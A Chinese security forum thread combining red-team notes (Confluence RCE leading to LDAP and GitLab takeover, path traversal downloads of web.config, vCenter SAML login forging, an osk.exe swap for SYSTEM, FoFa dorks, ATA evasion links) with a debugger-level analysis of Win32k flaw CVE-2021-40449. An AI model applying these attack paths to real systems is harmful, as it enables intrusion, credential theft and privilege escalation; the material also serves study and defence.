- 打点: 任意文件下载+Windows系统,可以尝试一下该路径,也许有新世界
- 内网: 信息收集
- 蓝队: 溯源取证时,毕竟CMD一直以来都被诟病,PowerShell改改颜值还是很能打的,但是也就悄悄地给蓝队留下了"证据"(:

![image]()

### 内网-定位多网卡主机(OXID Resolver)

工具
- https://github.com/Rvn0xsy/OXID-Find/

条件
- 目标主机: 开放135端口

后续
- 考虑到平台兼容性,可以根据OXID-Find用其他语言重构一版自用。

### 内网-主机"不出网"
~~本地环境搭建中~~

### 内网-跨域
~~本地环境搭建中~~

### 打点-Confluence RCE利用

近期的1次实战

0. Confluence RCE(CVE-2021-26084),写入webshell,获取服务器权限
1. 找到数据库配置文件,获取数据库权限
2. 前期信息收集发现WIKI、Jira等站点需要AD账号登录,猜测其数据库有LDAP信息
3. 在cwd_directory_attribute表找到LDAP配置信息,拿到密码
4. 通过该密码获取源码管理平台(Gitlab)的控制权

### 打点-文件下载-.net环境

#### 0x01 前言

这是对学校某网站随机测试发现的,当时可下载web.config,由于不熟悉.net就没有后续了。

前段时间隔壁班的大佬提示说: 可以尝试下载源码审计一波????

#### 0x02 流程回顾

在xx通知页面发现一处文件下载的功能点
- /tp/DownLoadFile.aspx?filename=

![image]()

于是开始猜其目录
```
?filename=DownLoadFile.aspx
?filename=./DownLoadFile.aspx
?filename=./../DownLoadFile.aspx
......
```
最后以
- ?filename=./../DownLoadFile.aspx

成功下载

![image]()

#### 0x03 利用思路

1.下载web.config,获取数据库配置以及部分网站架构

![image]()

如图,可获取到数据库密码

2.遍历下载*.aspx,然后根据Inherits所引用文件的位置,构造路径下载*.dll,然后dnSpy反编译后审计即可

示例:文件下载漏洞

![image]()



### 内网-vSphere & vCenter的后利用姿势
— 历史笔记整理

> 关于vcenter的利用主要是在已经获取服务器权限的情况下

(登录后台)

- 从 vCenter 备份中提取 IdP 证书并伪造管理员身份登录后台(实战案例)
- 工具地址
    - [vcenter_saml_login](https://github.com/horizon3ai/vcenter_saml_login)

data.mdb位置:

- Linux:
   
    ```
    /storage/db/vmware-vmdir/data.mdb
    ```
   
- Windows
   
    ```
    C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
    ```
   

实测效果

![image]()

然后访问https://10.10.10.1/ui,在 /ui 路径下替换上一步所获得的cookie即可

![image]()


进入后台后
  - 可通过vcenter的快照功能获取虚拟机的快照,然后通过内存取证的姿势dump凭证,pth;
  - 也可传到本地,再恢复成虚拟机,然后通过PE,重命名CMD.EXE为OSK.exe覆盖原OSK.exe,此时开机打开屏幕键盘会弹出SYSTEM权限的命令行窗口,本地上线cs然后hashdump抓取凭证,pth即可。(by banliz1)

### 钓鱼-邮箱探针

```
# by se7ensec.cn
平常去河边钓鱼,要使用浮漂才会知道这条河是否有鱼吃饵料,同理当邮件投递出去后,此探针可以判断目标是否点击了邮件,不至于那么的苦等。
```
- [鱼叉攻击|Mail-Probe 邮箱探针后台管理系统](https://www.se7ensec.cn/2020/09/ ... %E7%B3%BB%E7%BB%9F/)

### 内网-Citrix的后渗透思路
```
Citrix虚拟化应用常常与AD域绑定,如果被登录,将会对整个域安全造成非常重大的风险。
```
- [浅谈关于企业中citrix的渗透思路](https://mp.weixin.qq.com/s/wUv3DIN4woXMZmYOCG2MGg)

### 打点-Confluence后利用思路
- 修改数据库,实现用户登录
  - 修改用户登录口令
  - 修改Personal Access Tokens(by 3gstudent)
- 写文件
  - Windows: Confluence默认权限为network service,具有写权限
  - Linux: Confluence默认权限为confluence,没有写权限,可以尝试内存马

测试CVE-2021-26084:
- Windows Server 2016
- Atlassian Confluence 7.4.10
- Postgresql 12.8-1
- AntSword

目录:

![image]()

![image]()

- 数据库配置-confluence.cfg.xml
```
# Windows默认安装
C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml
# Ubuntu默认安装
/var/atlassian/application-data/confluence/confluence.cfg.xml
```
![image]()

### 基建-关于学习RFC规范的必要性
> 最近的一次小组例会上有幸收到了来自leader的leader的建议 —— 多看看RFC文档、技术基建要做好。(缘起log4shell)

```shell
For better or worse, Requests for Comments (RFCs) are how we specify many protocols on the Internet.
```

RFC规范实际使用场景示例:
- [从RFC规范看如何绕过waf上传表单 上篇](https://www.anquanke.com/post/id/241265)
- [从RFC规范看如何绕过waf上传表单 下篇](https://www.anquanke.com/post/id/242583)
- [利用 URN 绕过 URL 检查](https://mp.weixin.qq.com/s/SysCJTcYRpV6dj9QfeQYmQ)
- [利用 multipart boundary 绕过 WAF](https://mp.weixin.qq.com/s/Wsl17GjucN08YAiwbm0vYQ)
- [An Exploration of JSON Interoperability Vulnerabilities](https://bishopfox.com/blog/json-interoperability-vulnerabilities)

学习参考:
- [How to Read an RFC(中文译版)](https://juejin.cn/post/6844903716051484679)
- [How to Read an RFC](https://www.mnot.net/blog/2018/07/31/read_rfc)

### 基建-负载均衡场景下的渗透
- Why?
>
> 相信能看到这些笔记的师傅可能都曾遇到过负载均衡场景下的渗透问题,比如你通过nday打下了一台weblogic,并上了webshell,当你对目标机子再次发起请求时,你会发现执行命令出错,也许会猜测是因为网络问》题;于是你再用exp打了一次,成功了,此时的ip可能发生了变化;失败了,漏洞不存在了?在这些问题的背后,很有可能就是`负载均衡`在作祟。再加上微服务架构和K8S的兴起,负载均衡的应用也越来越多,这是个不得不学习 & 解决的坑。


- What?

> \# 通俗理解:
> 一个超市的收营员高峰期只能服务10位顾客,当做活动时有20位顾客需要服务的话可能就会排长队,这样购物体验将会很差(就像客户抱怨系统/网站访问太慢)。最简单的办法就是再招个营业员,重新开通一个出口。负载均衡的核心就是“分摊压力”。


- How?
  - [渗透测试-负载均衡识别](https://blog.csdn.net/Z_Grant/article/details/99636169)
  - [负载均衡踩坑记](https://xz.aliyun.com/t/10297)
  - [负载均衡下的 WebShell 连接](https://mp.weixin.qq.com/s/4Bmz_fuu0yrLMK1oBKKtRA)
  - [内网渗透-FRP负载均衡](https://scarletf.github.io/2021/ ... %E5%9D%87%E8%A1%A1/)
  - [proxyshell 针对Exchange负载均衡情况下的修改版POC](https://www.t00ls.cc/articles-64010.html)
  - [Neo-reGeorg-(非 php) 已支持内网转发,应对负载均衡环境](https://github.com/L-codes/Neo-reGeorg#features)
  - [挖洞经验 | 从负载均衡或CDN应用中发现的配置类漏洞](https://www.freebuf.com/vuls/227805.html)

### 云安全-K8S场景下的渗透
- [Kubernetes安全测试实践录](https://tttang.com/archive/1389/)
- [Kubernetes(K8s)横向移动办法](https://payloads.online/archivers/2021-07-20/1/)
- [Kubernetes安全入门](https://xz.aliyun.com/t/4276)
- [Kubernetes集群渗透测试](https://www.freebuf.com/vuls/196993.html)
- [K8s渗透测试之kube-apiserver利用](https://www.cdxy.me/?p=839)
- [K0OTKIT:HACK K8S IN A K8S WAY](http://blog.nsfocus.net/k0otkithack-k8s-in-a-k8s-way/)
- [华为云CTF cloud非预期解之k8s渗透实战](https://annevi.cn/2020/12/21/%E5 ... %E5%AE%9E%E6%88%98/)
- [容器安全 & 容器渗透学习笔记](https://lfysec.top/2021/07/13/%E ... %E7%AC%94%E8%AE%B0/)
- [云原生安全|基于容器ATT&CK矩阵模拟攻防对抗的思考](https://www.secpulse.com/archives/168616.html)
- [学习K8S中常见的21种攻击方式](https://www.wangan.com/p/7fygf39b3e601183)
- [红蓝对抗中的云原生漏洞挖掘及利用实录](https://security.tencent.com/index.php/blog/msg/183)

### 信息收集-FoFa获取闭源软件源码
> 其他测绘引擎同理
示例:
```
body="web.config" && "oa" && "rar" && country="CN"
body="web.config" && "U8" && country="CN"
body="web.config" && "EAS" && country="CN"
body="web.config" && "k3s" && country="CN"
body="web.config" && "kingdee" && country="CN"
body="web.config" && "系统" && country="CN"
body="web.config" && "办公" && country="CN"
body="web.config" && "EKP" && country="CN"
...
```
效果: 某OA全家桶?

![image]()

### 打点-文件写入->RCE 的路径
- Web
  - Webshell
  - 文件包含(php)
  - 模板引擎(.vm、.ftl)
  - 脚本文件(.groovy)
- Linux
  - 计划任务 cron
  - 开机启动程序 /etc/rc.local
  - SSH公钥
- Windows
  - 启动项
  - MOF(windows 2003)

### 内网-Microsoft ATA 规避
> 没遇到过,遇到了也不一定知道自己遇到了,再一次被自己 Vegetable Cried !!!
- 0、[What is Advanced Threat Analytics?](https://docs.microsoft.com/en-us ... alytics/what-is-ata)
- 1、[Week of Evading Microsoft ATA @Nikhil SamratAshok Mittal](http://www.labofapenetrationtest ... 0Threat%20Analytics)
- 2、[Microsoft ATA Evasion (Over PTH, Golden Ticket)](https://cyberstruggle.org/micros ... rpth-golden-ticket/)
- 3、[Evading Microsoft ATA for Active Directory Domination @Black Hat](https://www.youtube.com/watch?v=bHkv63-1GBY)
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2022-3-12 19:06:06 | 显示全部楼层

CVE-2021-40449 Win32k提权漏洞及POC分析cqy_****clude [url=]衡阳信安[/url] 2022-03-12 00:00
背景CVE-2021-40449是卡巴斯基实验室在2021年8月下旬到9月上旬在Windows服务器上捕获的恶意样本利用的提权漏洞,该漏洞存在于win32kfull.sys驱动内,利用该漏洞可以在windows中完成从users到system的权限提升。
基本概念
内核对象:内核对象即在内核空间存在的对象,只能由内核分配,内核访问。
内核对象的引用计数:在操作系统中,可能有多个进程访问同一个内核对象,如果没有进程需要使用该对象内核就应该释放该对象,所以为了准确的释放该对象就有了引用计数。当内核对象被创建时,引用计数被标记为1,调用CloseHandle()时内核对象的引用计数就-1,这可以类比Java GC的引用计数法:
在对象中添加一个引用计数器,每当一个地方引用它时,计数器就加一;当引用失效时,计数器值就减一;任何时刻计数器为零的对象就是不可能再被使用的。
句柄:由于内核对象只能由内核分配、访问、修改,当ring 3层的应用程序想要操作这些内核对象的时候,并不能直接操控内核对象。当内核对象创建好后,操作系统会使用一个句柄来标识该对象并返回给应用程序,应用程序通过操作系统提供的ring 3层API来操作句柄,ring3层API经过系统调用进入内核。在内核处句柄对应着具体的内核对象,这样ring3层的应用程序就可以通过操作句柄来间接操作内核对象。
句柄表:当一个进程初始化的时候,系统会给该进程分配一个句柄表,当进程创建内核对象的时候,内核创建对应内核对象,并遍历该进程的句柄表,在句柄表的空闲位置设置内核对象、对象指针等,并获取该位置的索引,作为进程创建对象的函数的返回值,即为句柄。
https://www.cnblogs.com/MisterXu/p/10846918.html
DC:是一个内核对象,全称device context,设备上下文对象
HDC:DC对象的句柄。
释放后重用:指一个内存空间被操作系统释放后,内存空间变为空闲状态,如果用户在这一刻申请内存,操作系统会优先分配刚释放的内存,则用户大概率可以申请到刚刚释放的内存并修改该内存空间的内容。如果在释放空间之前有指针指向该空间,在释放空间之后指针并未按照理想状态置为NULL,由于释放后可以重新申请该内存并修改内存内容,后续如果继续使用该指针,但内存内内容并不是预期的释放之前的内容,则会产生非预期行为。
eg:
#include <stdio.h>#include <stdlib.h>void method();void badMethod();// 定义函数指针typedef void (*function)();class test {public:    function p;    test() {    }};int main() {    // new test对象    test *t = new test();    test *p = t;    t->p = method;    p->p();    // 释放t指向的test对象的空间    delete t;    test *pt;    for (size_t i = 0; i < 10000; i++) {        // 占用刚释放的对象的内存空间        pt = (test *)malloc(sizeof(test));        // 将申请的空间当作test对象,并将对象的函数指针设置为恶意函数地址        pt->p = badMethod;    }    // 这里原意想要调用method函数,但是实际调用了badMethod函数    printf("第二次调用\n");    p->p();    return 0;}void method() {    printf("method\n");}void badMethod() {    printf("bad method\n");}

漏洞形成分析
该漏洞产生于win32kfull!GreResetDCInternal函数中,该函数内会获取DC对象内的函数指针,并执行该函数指针指向的函数,但并未检查DC对象是否异常。所以如果可以在调用函数指针之前释放DC对象,并重新申请该对象的内存空间,通过构造内存布局,修改原DC对象的函数指针指向其他任意内核函数,就可以在win32kfull!GreResetDCInternal内实现任意内核函数调用
根据代码,我们可以算出DCO对象和DC对象的函数指针的关系:function pointer= ( (DCO +0x30)+0xad0),其中DCO +0x30即指向DC对象的指针
v10 = (_QWORD )(v8 + 48);
v15 = (void (_fastcall )(QWORD, _QWORD))(*v10 + 2768);
__int64 __usercall GreResetDCInternal@<rax>(HDC a1@<rcx>, __int64 a2@<rdx>, int *a3@<r8>){  __int64 v24; // [rsp+50h] [rbp-20h]  __int64 v25; // [rsp+60h] [rbp-10h]  DCOBJ:COBJ((DCOBJ *)&v25, a1);              // 利用构造函数从HDC创建DCOBJ对象  v8 = v25;        ··········  v10 = *(_QWORD *)(v8 + 48);                   // 赋值  *(_QWORD *)(v10 + 1736) = 0i64;  v24 = v11;        ·······  v9 = *(_QWORD *)(v25 + 512) != 0i64;  v12 = *(_DWORD *)(v25 + 120) > 0;        ·······      v13 = (HDC)hdcOpenDCW(&qword_1C0141EB0, v26, 0i64, 0i64, *(_QWORD *)(v10 + 2584));// 创建新的DC对象,返回对应的HDC句柄      if ( v13 )      {        *(_QWORD *)(v10 + 2584) = 0i64;        DCOBJ:COBJ((DCOBJ *)&v24, v13);        v14 = (_QWORD *)v24;        if ( v24 )        {          if ( v12 )            *(_DWORD *)(v24 + 120) = *(_DWORD *)(v24 + 116);          v14[308] = *(_QWORD *)(v25 + 2464);          *(_QWORD *)(v25 + 2464) = 0i64;          v14[309] = *(_QWORD *)(v25 + 2472);          *(_QWORD *)(v25 + 2472) = 0i64;          v15 = *(void (__fastcall **)(_QWORD, _QWORD))(v10 + 2768);          if ( v15 )            v15(*(_QWORD *)(v10 + 1824), *(_QWORD *)(v14[6] + 1824i64));// 调用函数指针指向的函数,传入参数为用户传入的HDC对应的DC对象内的值            ·······          HmgSwapLockedHandleContents(v3, 0i64, v6, 0i64, v23);// 交换旧的和新的HDC对象          GreReleaseHmgrSemaphore();            ······    bDeleteDCInternal(v6, 1i64, 0i64); // 传入了hdcOpenDCW返回的HDC,但HmgSwapLockedHandleContents交换了新旧句柄对应的DC对象,此时v6句柄对应旧DC对象。            ······调用该函数指针的时候,所用的两个参数也是源于用户传入的HDC句柄对应的DC对象。
v10 = (_QWORD )(v8 + 48); _
_v14[308] = (_QWORD )(v25 + 2464);
v14[309] = (_QWORD )(v25 + 2472);
v15((_QWORD )(v10 + 1824), (_QWORD )(v14[6] + 1824i64));
在win32kfull!GreResetDCInternal函数的后半段会调用win32kbase!DeleteDCInternal函数释放传入该函数的HDC句柄所对应的DC对象,到这里就达成了use-after-free的free步骤
HDC v3; v3=a1;           v13 = (HDC)hdcOpenDCW(&qword_1C0141EB0, v26, 0i64, 0i64, *(_QWORD *)(v10 + 2584));// 创建新的HDC      v6 = v13;      if ( v13 )      {        *(_QWORD *)(v10 + 2584) = 0i64;        DCOBJ:COBJ((DCOBJ *)&v24, v13);        v14 = (_QWORD *)v24;        if ( v24 )        {          if ( v12 )            *(_DWORD *)(v24 + 120) = *(_DWORD *)(v24 + 116);          v14[308] = *(_QWORD *)(v25 + 2464);          *(_QWORD *)(v25 + 2464) = 0i64;          v14[309] = *(_QWORD *)(v25 + 2472);          *(_QWORD *)(v25 + 2472) = 0i64;          v15 = *(void (__fastcall **)(_QWORD, _QWORD))(v10 + 2768);          if ( v15 )            v15(*(_QWORD *)(v10 + 1824), *(_QWORD *)(v14[6] + 1824i64));          GreAcquireHmgrSemaphore();          LOBYTE(v23) = 1;          HmgSwapLockedHandleContents(v3, 0i64, v6, 0i64, v23);// 交换旧的和新的HDC对象          GreReleaseHmgrSemaphore();                ·······    // 删除HDC句柄对应的DC对象。    bDeleteDCInternal(v6, 1i64, 0i64);如果在释放DC对象之后,重新申请DC对象空间,修改里面的函数指针内容,并通过某些步骤,让内核执行DC对象内的函数指针,即可达到use步骤让内核执行任意内核函数。
漏洞利用分析POC:https://github.com/KaLendsi/CVE-2021-40449-Exploit
POC代码分析:https://github.com/CppXL/cve-2021-40449-poc/blob/master/main.cpp
要利用该漏洞,难点在于free DC对象之后怎么使得内核再次调用DC对象的函数指针,在正常GreResetDCInternal函数流程中,是先调用DC对象的函数指针再删除这个对象,即按照正常流程即不会有use-after-free的条件。
在ring 3层调用ResetDC函数会通过系统调用进入内核调用函数NtGdiResetDC,在NtGdiResetDC会调用漏洞函数GreResetDCInternal,在GreResetDCInternal中会调用DC对象里面的函数指针。要利用该漏洞即要在调用函数指针之前完成三步动作:1、释放DC对象2、重新申请原DC对象的内存空间3、完成内存空间的布局
在函数GreResetDCInternal调用DC对象的函数指针之前会调用win32kbase!hdcOpenDCW函数。win32kbase!hdcOpenDCW函数会执行打印机驱动的用户态回调函数表里面的函数,该表里面存放了函数指针,该函数指针原先指向的是预定义的回调函数。在POC中覆盖这个函数指针,使其执行POC定义的回调函数。
在自定义回调函数中再次执行ResetDC函数并传入同一HDC句柄,则会再次执行NtGdiResetDC和GreResetDCInternal函数,而在GreResetDCInternal的后半段,会释放传入的HDC对应的DC对象并创建新的DC对象。此时达到了free步骤
在第二次ResetDC调用完成后,原DC对象已被释放,此时可以重新申请原DC对象的内存空间并完成内存布局,将原DC对象的函数指针和函数指针的参数的位置设置为想要执行的内核函数的地址及参数。在执行完第一次回调之后,GreResetDCInternal 将调用原DC对象内的函数指针,即完成了任意内核函数调用,此时达到了use步骤
完整调用链如下图:

其中漏洞相关的类定义如下,参考https://github.com/ZoloZiak/WinN ... i/gre/dcobj.hxx#L97
class DCLEVEL{public:    ...    HDC hdcSave;    ...}class DC : public OBJECT{public:    DHPDEV dhpdev_;    PDEV *ppdev_;    ...    HDC hdcNext_;    // HDC链表指针    HDC hdcPrev_;    ...    DCLEVEL dclevel    ...};typedef DC *PDC;class XDCOBJ /* dco */{public:    PDC pdc;    ...};typedef XDCOBJ   *PXDCOBJ;class DCOBJ : public XDCOBJ /* mdo */{public:    DCOBJ()                { pdc = (PDC) NULL; }    DCOBJ(HDC hdc)         { vLock(hdc); }   ~DCOBJ()                { vUnlockNoNullSet(); }};typedef DCOBJ *PDCOBJ;
类之间的关系可以简化为下图:


调试
free部分
在free部分需要把我们想要释放的内存空间释放,并让后面的use部分成功申请到这块内存空间。
调试环境:虚拟机windows 10 1607、物理机windows 10 2004
POC:https://github.com/KaLendsi/CVE-2021-40449-Exploit
断点:
bp win32kfull!NtGdiResetDCbp win32kfull!NtGdiResetDC+0xc1       "调用GreResetDCInternal函数"bp win32kfull!GreResetDCInternal+0x3a "调用DCOBJ构造函数"bp win32kfull!GreResetDCInternal+0x116 "调用_imp_hdcOpenDCW函数"bp win32kfull!GreResetDCInternal+0x136 "第二次DCOBJ"bp win32kfull!GreResetDCInternal+0x1b5 "调用DC对象函数指针"bp win32kfull!GreResetDCInternal+0x1d1 "调用HmgSwapLockedHandle函数"bp win32kfull!GreResetDCInternal+0x20d "调用_imp_bDeleteDCInternal函数"bp cve_2021_40449!hook_DrvEnablePDEV+0x12a "循环调用"bp win32kbase!PALMEMOBJ::bCreatePalette "调用win32kbase!PALMEMOBJ::bCreatePalette"运行POC,断点bp win32kfull!NtGdiResetDC触发此时传入的句柄为rcx=00000000092105f1

第一次调用win32kfull!GreResetDCInternal 时传入各个参数为rcx=00000000092105f1 rdx=0000000000000000 r8=ffffb101aadf2a44 即第一个句柄值为00000000092105f1



第一次调用构造函数,利用DC对象创建DCO对象,此时rbx存放DCO对象的地址,



根据漏洞形成分析的计算公式,可以很方便的得到DC对象内的函数指针指向的函数的地址为:ffffd548a1f10c30
1: kd> dq raxffffb101`aadf29c0  ffffd50e`041fd010 00000000`00000001ffffb101`aadf29d0  00000268`6e766b20 000000d7`97aff680ffffb101`aadf29e0  00000000`00000000 00000000`092105f1ffffb101`aadf29f0  00000000`00000000 ffffd50e`041fb030ffffb101`aadf2a00  ffffb101`aadf2b80 ffffd548`a1f18fe6ffffb101`aadf2a10  00000000`00000001 00000000`00000000ffffb101`aadf2a20  ffffb101`aadf2a44 ffffd50e`041fb030ffffb101`aadf2a30  000000d7`97aff5d0 00000000`00000000// rbx存放了构造函数产生的DCO对象地址1: kd> dq rbxffffd50e`041fd010  00000000`092105f1 80000001`00000000ffffd50e`041fd020  ffffd800`b45ad780 00000268`6e75ea10ffffd50e`041fd030  00100010`00000000 00000000`00000000ffffd50e`041fd040  ffffd50e`00052030 00000000`00000000ffffd50e`041fd050  ffffd800`b56f1260 00000009`1000a01fffffd50e`041fd060  ffffd50e`041fd3d0 00000000`0088000bffffd50e`041fd070  ffffd50e`000004f0 ffffd50e`00005d90ffffd50e`041fd080  00000001`00000000 00000000`00000000// ffffd50e`041fd010为rbx的值,此处ffffd50e`041fd010+0x30为PDC的地址,PDC指向DC对象即DC对象地址为ffffd50e`00052030// 计算公式 *(dco地址+0x30)=dc地址1: kd> dq ffffd50e`041fd010+0x30ffffd50e`041fd040  ffffd50e`00052030 00000000`00000000ffffd50e`041fd050  ffffd800`b56f1260 00000009`1000a01fffffd50e`041fd060  ffffd50e`041fd3d0 00000000`0088000bffffd50e`041fd070  ffffd50e`000004f0 ffffd50e`00005d90ffffd50e`041fd080  00000001`00000000 00000000`00000000ffffd50e`041fd090  00000000`00000000 00000000`00000000ffffd50e`041fd0a0  ffffd50e`00001a10 ffffd50e`00004cb0ffffd50e`041fd0b0  ffffd50e`000105f0 00000000`00000000// ffffd50e`00052030+0xad0处为DC对象的函数指针,该指针指向了一个函数 // 计算公式 *(dc地址 +0xad0)=函数地址1: kd> dq ffffd50e`00052030+0xad0ffffd50e`00052b00  ffffd548`a1f10c30 ffffd548`a1db18c0ffffd50e`00052b10  00000000`00000000 00000000`00000000ffffd50e`00052b20  00000000`00000000 ffffd548`a1f10930ffffd50e`00052b30  00000000`00000000 ffffd548`a1f11dc0ffffd50e`00052b40  ffffd548`a1f0e6b0 ffffd548`a1f11b00ffffd50e`00052b50  00000000`00000000 ffffd548`a1f0cd70ffffd50e`00052b60  ffffd548`a1f0d1f0 ffffd548`a1f112f0ffffd50e`00052b70  00000000`00000000 00000000`00000000// 以下为函数的汇编1: kd> u ffffd548`a1f10c30win32kfull!UMPDDrvResetPDEV:ffffd548`a1f10c30 48895c2418      mov     qword ptr [rsp+18h],rbxffffd548`a1f10c35 4889742420      mov     qword ptr [rsp+20h],rsiffffd548`a1f10c3a 57              push    rdiffffd548`a1f10c3b 4883ec70        sub     rsp,70hffffd548`a1f10c3f 488b05ba440800  mov     rax,qword ptr [win32kfull!_security_cookie (ffffd548`a1f95100)]ffffd548`a1f10c46 4833c4          xor     rax,rspffffd548`a1f10c49 4889442468      mov     qword ptr [rsp+68h],raxffffd548`a1f10c4e 488bf9          mov     rdi,rcx
之后通过hdcOpenDCW函数调用用户模式的回调函数,在回调函数中再次调用ResetDC函数,此时传入的HDC和第一次调用ResetDC的是同一个句柄。


第二次调用win32kfull!GreResetDCInternal 时,传入同一个HDC句柄,即对应同一个DC对象。
0: kd> twin32kfull!GreResetDCInternal:ffffd548`a1f03e58 488bc4          mov     rax,rsp1: kd> rrcxrcx=00000000092105f1
第二次调用DCOBJ构造函数时,由于传入的是同一个HDC句柄,所以HDC句柄引用次数+1,同时两次调用构造函数构造的对象关联到同一个DC对象。



之后第二次调用win32kfull!_imp_hdcOpenDCW函数,在该函数内执行政策回调函数,win32kfull!imp_hdcOpenDCW返回一个HDC句柄值为0000000003210041,即创建了一个新的DC对象。之后通过新创建的DC对象创建DCO对象。



在win32kfull!GreResetDCInternal后半段会调用win32kfull!_imp_HmgSwapLockedHandleContents交换第一个HDC句柄和第二次调用win32kfull!imp_hdcOpenDCW创建的HDC句柄。



调用win32kfull!_imp_HmgSwapLockedHandleContents之后两个句柄对应的DC内容为已经发生了交换
// 以下内容为旧DC对象,但是句柄为新句柄1: kd> dq ffffd50e041fd010ffffd50e`041fd010  00000000`03210041 80000001`00000000......1: kd> dq ffffd50e03fee010// 以下内容为新DC对象,但句柄为旧句柄ffffd50e`03fee010  00000000`092105f1 80000002`00000000......之后调用win32kfull!_imp_bDeleteDCInternal传入HDC句柄,该函数会释放HDC句柄对应的DC对象,而此时传入该函数的HDC句柄为第二次调用hdcOpenDCW函数返回的句柄,但之前交换过新旧句柄,所以实际上释放的是旧HDC句柄对应的DC对象。


之前计算函数指针的时候,我们知道DCO +0x30是指向DC对象的指针,所以在调用win32kfull!_imp_bDeleteDCInternal函数之后,原DC对象的内存空间已经被释放,达成了use-after-free的第一步free。
function pointer= ( (DCO +0x30)+0xad0),其中DCO +0x30即指向DC对象的指针
0: kd> dq ffffd50e041fd010+0x30 // 取DC对象地址ffffd50e`041fd040  ffffd50e`00052030 00000000`00000000......0: kd> !pool ffffd50e`00052030 // DC对象的内存已被释放,大小为e30Pool page ffffd50e00052030 region is Paged session pool*ffffd50e00052000 size:  e30 previous size:    0  (Free ) *GDev        Pooltag GDev : Gdi pdev ffffd50e00052e30 size:   10 previous size:  e30  (Free)       Free ffffd50e00052e40 size:  1c0 previous size:   10  (Allocated)  Usqu
之后只需要申请这块内存空间并构造,刚删除的时候,虽然DC对象已经被释放,但函数指针还是指向正确的函数地址,接下来就要申请空间,覆盖这块内存空间的函数指针的值即可。
0: kd> dq ffffd50e041fd010+0x30     // 取DC对象地址ffffd50e`041fd040  ffffd50e`00052030 00000000`000000000: kd> dq ffffd50e`00052030+0xad0   // 取DC对象内的函数指针ffffd50e`00052b00  ffffd548`a1f10c30 ffffd548`a1db18c00: kd> u ffffd548`a1f10c30win32kfull!UMPDDrvResetPDEV:ffffd548`a1f10c30 48895c2418      mov     qword ptr [rsp+18h],rbxffffd548`a1f10c35 4889742420      mov     qword ptr [rsp+20h],rsiffffd548`a1f10c3a 57              push    rdiffffd548`a1f10c3b 4883ec70        sub     rsp,70hffffd548`a1f10c3f 488b05ba440800  mov     rax,qword ptr [win32kfull!_security_cookie (ffffd548`a1f95100)]ffffd548`a1f10c46 4833c4          xor     rax,rspffffd548`a1f10c49 4889442468      mov     qword ptr [rsp+68h],raxffffd548`a1f10c4e 488bf9          mov     rdi,rcxuse 部分
注:此部分为第二次调试,所以句柄、内存地址和前部分不一样。
在poc里面会调用CreatePalette函数,该此函数会申请内核堆,
第一个句柄rcx=0000000015213372
// 第一个DCO对象0: kd> dq rbxDBGHELP: SharedUserData - virtual symbol moduleffff885e`847d2620  00000000`15213372 80000001`00000000......// 第一个PDC 指向DC对象0: kd> dq ffff885e`847d2620+0x30ffff885e`847d2650  ffff885e`80063030 00000000`00000000......// 第一个DC对象0: kd> dq ffff885e`80063030ffff885e`80063030  00000000`00000000 00000000`00000000ffff885e`80063040  00000000`00000000 ffff885e`80046010ffff885e`80063050  00000001`00000001 ffff885e`80063030ffff885e`80063060  00000000`00000000 00000000`00008180ffff885e`80063070  ffffb48d`a36b4e50 00000000`00000000ffff885e`80063080  00000000`00000000 00000000`00000000ffff885e`80063090  00000000`00000000 00000000`00000000ffff885e`800630a0  00000000`00000000 00000000`00000000第二个句柄rax=0000000001211b60
1: kd> dq rdxDBGHELP: SharedUserData - virtual symbol moduleffff885e`84121620  00000000`01211b60 80000001`00000000......1: kd> dq rdx+0x30ffff885e`84121650  ffff885e`8006b030 00000000`00000000......1: kd> dq ffff885e`8006b030ffff885e`8006b030  00000000`00000000 00000000`00000000ffff885e`8006b040  00000000`00000000 ffff885e`80063030ffff885e`8006b050  00000001`00000001 ffff885e`8006b030ffff885e`8006b060  00000000`00000000 00000000`00008180ffff885e`8006b070  ffffb48d`a317b8b0 00000000`00000000ffff885e`8006b080  00000000`00000000 00000000`00000000ffff885e`8006b090  00000000`00000000 00000000`00000000ffff885e`8006b0a0  00000000`00000000 00000000`00000000在DeleteDCInternel调用之后第一个DC对象的内存空间已经被释放
0: kd> !pool ffff885e`80063030// 注意,此时DC对象地址距离堆头地址为0x30大小Pool page ffff885e80063030 region is Paged session pool*ffff885e80063000 size:  e30 previous size:    0  (Free ) *GDev        Pooltag GDev : Gdi pdev ffff885e80063e30 size:   70 previous size:  e30  (Free)       Free ffff885e80063ea0 size:   b0 previous size:   70  (Free )  Usqm ffff885e80063f50 size:   b0 previous size:   b0  (Allocated)  Usqm
根据调试,可以得知释放的DC对象内存大小为0xe30,所以要覆盖函数指针时,所申请的内存也要刚刚好或者接近这块内存大小才有可能申请到。在poc里面,使用CreatePalette申请这块内核堆。这个函数会通过系统调用进入内核函数win32kfull!NtGdiCreatePaletteInternal,该函数调用win32kbase!PALMEMOBJ::bCreatePalette创造Palette对象,win32kbase!PALMEMOBJ::bCreatePalette会调用AllocateObject为新对象申请空间,最终通过调用ExAllocatePoolWithTag函数分配堆空间,整个调用栈如下:
0: kd> kb # RetAddr               :  Call Site00 ffff880c`b95d39f4     :  win32kbase!Win32AllocPool01 ffff880c`b95d0042     :  win32kbase!AllocateObject+0xc402 ffff880c`b9309ecc     :  win32kbase!PALMEMOBJ::bCreatePalette+0xb203 fffff800`b175a193     :  win32kfull!NtGdiCreatePaletteInternal+0xcc04 00007ffe`a2cb2604     :  nt!KiSystemServiceCopyEnd+0x1305 00007ff7`e44c2fe1     :  win32u!NtGdiCreatePaletteInternal+0x1406 00000000`00000d94     :  cve_2021_40449!createPaletteofSize1+0xd1 [C:\Users\mimi\source\repos\test\cve-2021-40449\main.cpp @ 71] .......2e 00007ffe`a2e9b26f     :  0x000000d1`a374ef692f 00007ffe`a39e1a4a     :  gdi32full!GdiPrinterThunk+0x21f30 00007ffe`a61889e4     :  USER32!__ClientPrinterThunk+0x3a31 00007ffe`a2cb6dc4     :  ntdll!KiUserCallbackDispatcherContinue32 00007ffe`a2e7edda     :  win32u!NtGdiResetDC+0x1433 00007ffe`a3682371     :  gdi32full!ResetDCWInternal+0x17a34 00007ff7`e44c3296     :  GDI32!ResetDCW+0x3135 00000000`00000000     :  cve_2021_40449!main+0x146 [C:\Users\mimi\source\repos\test\cve-2021-40449\main.cpp @ 685]


